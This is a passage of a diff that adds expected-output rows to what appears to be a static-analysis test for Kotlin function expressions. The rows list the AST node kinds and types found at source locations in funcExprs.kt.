+| funcExprs.kt:32:28:32:44 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:32:28:32:44 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:32:28:32:44 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:32:28:32:44 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:32:30:32:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:32:35:32:38 | this | funcExprs.kt:32:28:32:44 | invoke | ExtensionReceiverAccess |
+| funcExprs.kt:32:35:32:42 | ... + ... | funcExprs.kt:32:28:32:44 | invoke | AddExpr |
+| funcExprs.kt:32:42:32:42 | a | funcExprs.kt:32:28:32:44 | invoke | VarAccess |
+| funcExprs.kt:33:5:33:51 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:33:5:33:51 | functionExpression4(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:33:25:33:25 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:33:28:33:51 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:33:28:33:51 | Double | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:33:28:33:51 | Double | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:33:28:33:51 | Function1<Integer,Double> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:33:28:33:51 | Function1<Integer,Double> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:33:28:33:51 | Function1<Integer,Function1<Integer,Double>> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:33:28:33:51 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:33:28:33:51 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:33:28:33:51 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:33:30:33:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:33:37:33:47 | ...->... | funcExprs.kt:33:28:33:51 | invoke | LambdaExpr |
+| funcExprs.kt:33:37:33:47 | Double | funcExprs.kt:33:28:33:51 | invoke | TypeAccess |
+| funcExprs.kt:33:37:33:47 | Function1<Integer,Double> | funcExprs.kt:33:28:33:51 | invoke | TypeAccess |
+| funcExprs.kt:33:37:33:47 | Integer | funcExprs.kt:33:28:33:51 | invoke | TypeAccess |
+| funcExprs.kt:33:37:33:47 | double | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:33:39:33:39 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:33:44:33:46 | 5.0 | funcExprs.kt:33:37:33:47 | invoke | DoubleLiteral |
+| funcExprs.kt:35:5:35:112 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:5:35:112 | functionExpression22(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:35:26:35:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:35:29:35:112 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:35:29:35:112 | Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:29:35:112 | Unit | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:35:30:35:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:33:35:34 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:36:35:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:39:35:40 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:42:35:43 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:45:35:46 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:48:35:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:51:35:52 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:54:35:55 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:57:35:58 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:60:35:62 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:64:35:66 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:68:35:70 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:72:35:74 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:76:35:78 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:80:35:82 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:84:35:86 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:88:35:90 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:92:35:94 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:96:35:98 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:100:35:102 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:104:35:106 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:35:111:35:111 | 5 | funcExprs.kt:35:29:35:112 | invoke | IntegerLiteral |
+| funcExprs.kt:35:111:35:111 | <implicit coercion to unit> | funcExprs.kt:35:29:35:112 | invoke | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:35:111:35:111 | Unit | funcExprs.kt:35:29:35:112 | invoke | TypeAccess |
+| funcExprs.kt:36:5:36:117 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:36:5:36:117 | functionExpression23(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:36:26:36:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 0 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 1 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 2 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 3 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 4 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 5 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 6 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 7 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 8 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 9 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 10 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 11 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 12 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 13 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 14 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 15 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 16 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 17 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 18 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 19 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 20 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 21 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | 22 | funcExprs.kt:36:29:36:117 | invoke | IntegerLiteral |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | (...)... | funcExprs.kt:36:29:36:117 | invoke | CastExpr |
+| funcExprs.kt:36:29:36:117 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | ...[...] | funcExprs.kt:36:29:36:117 | invoke | ArrayAccess |
+| funcExprs.kt:36:29:36:117 | FunctionN<String> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:36:29:36:117 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:29:36:117 | String | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | a0 | funcExprs.kt:36:29:36:117 | invoke | VarAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | int | funcExprs.kt:36:29:36:117 | invoke | TypeAccess |
+| funcExprs.kt:36:29:36:117 | invoke(...) | funcExprs.kt:36:29:36:117 | invoke | MethodAccess |
+| funcExprs.kt:36:29:36:117 | this | funcExprs.kt:36:29:36:117 | invoke | ThisAccess |
+| funcExprs.kt:36:30:36:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:33:36:34 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:36:36:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:39:36:40 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:42:36:43 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:45:36:46 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:48:36:49 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:51:36:52 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:54:36:55 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:57:36:58 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:60:36:62 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:64:36:66 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:68:36:70 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:72:36:74 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:76:36:78 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:80:36:82 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:84:36:86 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:88:36:90 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:92:36:94 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:96:36:98 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:100:36:102 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:104:36:106 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:108:36:110 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:36:115:36:116 |  | funcExprs.kt:36:29:36:117 | invoke | StringLiteral |
+| funcExprs.kt:38:5:38:39 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:38:5:38:39 | functionExpression0a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:38:26:38:34 | FuncRef | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:38:26:38:34 | new FuncRef(...) | funcExprs.kt:21:1:52:1 | call | ClassInstanceExpr |
+| funcExprs.kt:38:26:38:38 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:38:26:38:38 | ...=... | funcExprs.kt:38:26:38:38 |  | AssignExpr |
+| funcExprs.kt:38:26:38:38 | <dispatchReceiver> | funcExprs.kt:38:26:38:38 |  | VarAccess |
+| funcExprs.kt:38:26:38:38 | FuncRef | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:38:26:38:38 | Function0<Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:38:26:38:38 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:38:26:38:38 | f0(...) | funcExprs.kt:38:26:38:38 | invoke | MethodAccess |
+| funcExprs.kt:38:26:38:38 | this | funcExprs.kt:38:26:38:38 |  | ThisAccess |
+| funcExprs.kt:38:26:38:38 | this | funcExprs.kt:38:26:38:38 | invoke | ThisAccess |
+| funcExprs.kt:38:26:38:38 | this.<dispatchReceiver> | funcExprs.kt:38:26:38:38 |  | VarAccess |
+| funcExprs.kt:38:26:38:38 | this.<dispatchReceiver> | funcExprs.kt:38:26:38:38 | invoke | VarAccess |
+| funcExprs.kt:39:5:39:37 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:39:5:39:37 | functionExpression0a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:39:26:39:32 | Companion | funcExprs.kt:21:1:52:1 | call | VarAccess |
+| funcExprs.kt:39:26:39:36 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:39:26:39:36 | ...=... | funcExprs.kt:39:26:39:36 |  | AssignExpr |
+| funcExprs.kt:39:26:39:36 | <dispatchReceiver> | funcExprs.kt:39:26:39:36 |  | VarAccess |
+| funcExprs.kt:39:26:39:36 | Companion | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:39:26:39:36 | Function0<Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:39:26:39:36 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:39:26:39:36 | f0(...) | funcExprs.kt:39:26:39:36 | invoke | MethodAccess |
+| funcExprs.kt:39:26:39:36 | this | funcExprs.kt:39:26:39:36 |  | ThisAccess |
+| funcExprs.kt:39:26:39:36 | this | funcExprs.kt:39:26:39:36 | invoke | ThisAccess |
+| funcExprs.kt:39:26:39:36 | this.<dispatchReceiver> | funcExprs.kt:39:26:39:36 |  | VarAccess |
+| funcExprs.kt:39:26:39:36 | this.<dispatchReceiver> | funcExprs.kt:39:26:39:36 | invoke | VarAccess |
+| funcExprs.kt:40:5:40:42 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:40:5:40:42 | functionExpression1a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:40:26:40:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:40:29:40:37 | FuncRef | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:40:29:40:37 | new FuncRef(...) | funcExprs.kt:21:1:52:1 | call | ClassInstanceExpr |
+| funcExprs.kt:40:29:40:41 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:40:29:40:41 | ...=... | funcExprs.kt:40:29:40:41 |  | AssignExpr |
+| funcExprs.kt:40:29:40:41 | <dispatchReceiver> | funcExprs.kt:40:29:40:41 |  | VarAccess |
+| funcExprs.kt:40:29:40:41 | FuncRef | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:40:29:40:41 | Function1<Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:40:29:40:41 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:40:29:40:41 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:40:29:40:41 | a0 | funcExprs.kt:40:29:40:41 | invoke | VarAccess |
+| funcExprs.kt:40:29:40:41 | f1(...) | funcExprs.kt:40:29:40:41 | invoke | MethodAccess |
+| funcExprs.kt:40:29:40:41 | this | funcExprs.kt:40:29:40:41 |  | ThisAccess |
+| funcExprs.kt:40:29:40:41 | this | funcExprs.kt:40:29:40:41 | invoke | ThisAccess |
+| funcExprs.kt:40:29:40:41 | this.<dispatchReceiver> | funcExprs.kt:40:29:40:41 |  | VarAccess |
+| funcExprs.kt:40:29:40:41 | this.<dispatchReceiver> | funcExprs.kt:40:29:40:41 | invoke | VarAccess |
+| funcExprs.kt:41:5:41:40 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:41:5:41:40 | functionExpression1c(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:41:26:41:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:41:29:41:39 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
